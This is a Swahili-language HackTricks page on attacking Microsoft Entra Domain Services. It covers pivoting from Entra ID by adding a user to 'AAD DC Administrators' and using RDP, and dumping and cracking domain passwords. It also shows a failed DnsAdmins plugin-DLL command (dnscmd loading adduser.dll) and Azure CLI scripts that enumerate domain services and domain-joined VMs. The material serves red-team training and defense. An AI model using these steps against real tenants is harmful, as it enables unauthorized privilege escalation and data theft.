Az - Microsoft Entra Domain Services

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Huduma za Kikoa

Microsoft Entra Domain Services inaruhusu kuanzisha Active Directory katika Azure bila kuhitaji kusimamia Domain Controllers (kwa kweli huna hata ufikiaji kwao).

Lengo lake kuu ni kukuruhusu kuendesha programu za zamani katika wingu ambazo hazina uwezo wa kutumia mbinu za uthibitishaji wa kisasa, au ambapo hutaki utafutaji wa directory urudi kila wakati kwenye mazingira ya AD DS ya ndani.

Kumbuka kwamba ili kusawazisha watumiaji walioanzishwa katika Entra ID (na sio kusawazishwa kutoka kwa active directories nyingine) kwa huduma ya kikoa ya AD unahitaji kubadilisha nenosiri la mtumiaji kuwa jipya ili liweze kusawazishwa na AD mpya. Kwa kweli, mtumiaji hajasawazishwa kutoka Microsoft Entra ID hadi Huduma za Kikoa hadi nenosiri libadilishwe.

warning

Hata kama unaunda kikoa kipya cha active directory huwezi kukisimamia kabisa (isipokuwa kwa kutumia baadhi ya makosa ya usanidi), ambayo inamaanisha kwamba kwa kawaida huwezi kuunda watumiaji katika AD moja kwa moja. Unawaunda kwa kusawazisha watumiaji kutoka Entra ID. Unaweza kuashiria kusawazisha watumiaji wote (hata wale walio sambazwa kutoka AD za ndani), watumiaji wa wingu pekee (watumiaji walioanzishwa katika Entra ID), au hata kuwafanyia uchujaji zaidi.

note

Kwa ujumla, kutokana na ukosefu wa kubadilika katika usanidi wa kikoa kipya na ukweli kwamba AD mara nyingi tayari ziko ndani, hii siyo muunganiko mkuu kati ya Entra ID na AD, lakini bado ni ya kuvutia kujua jinsi ya kuathiri.

Pivoting

Wajumbe wa kundi lililoundwa la AAD DC Administrators wanapewa ruhusa za usimamizi wa ndani kwenye VMs ambazo zimeunganishwa na kikoa kinachosimamiwa (lakini sio kwenye domain controllers) kwa sababu wameongezwa kwenye kundi la wasimamizi wa ndani. Wajumbe wa kundi hili pia wanaweza kutumia Remote Desktop kuungana kwa mbali na VMs zilizounganishwa na kikoa, na pia ni wajumbe wa makundi:

  • Denied RODC Password Replication Group: Hili ni kundi linalobainisha watumiaji na makundi ambayo nenosiri zao haziwezi kuhifadhiwa kwenye RODCs (Read-Only Domain Controllers).
  • Group Policy Creators Owners: Kundi hili linawaruhusu wajumbe kuunda Sera za Kundi katika kikoa. Hata hivyo, wajumbe wake hawawezi kutekeleza sera za kundi kwa watumiaji au kundi au kuhariri GPO zilizopo, hivyo si ya kuvutia sana katika mazingira haya.
  • DnsAdmins: Kundi hili linaruhusu kusimamia mipangilio ya DNS na limekuwa likitumiwa vibaya katika siku za nyuma ili kuinua mamlaka na kuathiri kikoa, hata hivyo baada ya kujaribu shambulio katika mazingira haya ilithibitishwa kwamba udhaifu umepatiwa suluhisho:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Kumbuka kwamba ili kutoa ruhusa hizi, ndani ya AD kundi AAD DC Administrators linafanywa kuwa mwanachama wa makundi ya awali, na pia GPO AADDC Computers GPO inaongeza kama Wasimamizi wa Mitaa wanachama wote wa kundi la kikoa AAD DC Administrators.

Kupitia Entra ID hadi AD iliyoundwa na Huduma za Kikoa ni rahisi, ongeza tu mtumiaji kwenye kundi AAD DC Administrators, upate kupitia RDP kwenye mashine yoyote/zote katika kikoa na utaweza kuiba data na pia kuathiri kikoa.

Hata hivyo, kupita kutoka kikoa hadi Entra ID si rahisi kwani hakuna chochote kutoka kikoa kinachosawazishwa kwenye Entra ID. Hata hivyo, kila wakati angalia metadata kwa VMs zote zilizounganishwa kwani utambulisho wao wa usimamizi uliotolewa unaweza kuwa na ruhusa za kuvutia. Pia dondoa nywila za watumiaji wote kutoka kikoa na jaribu kuzivunja ili kisha uingie kwenye Entra ID / Azure.

note

Kumbuka kwamba katika siku za nyuma, udhaifu mwingine katika AD hii iliyosimamiwa ulipatikana ambao uliruhusu kuathiri DCs, kama hii. Mshambuliaji anayekabili DC anaweza kwa urahisi kudumisha uwepo bila wasimamizi wa Azure kugundua au hata kuwa na uwezo wa kuondoa.

Enumeration

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks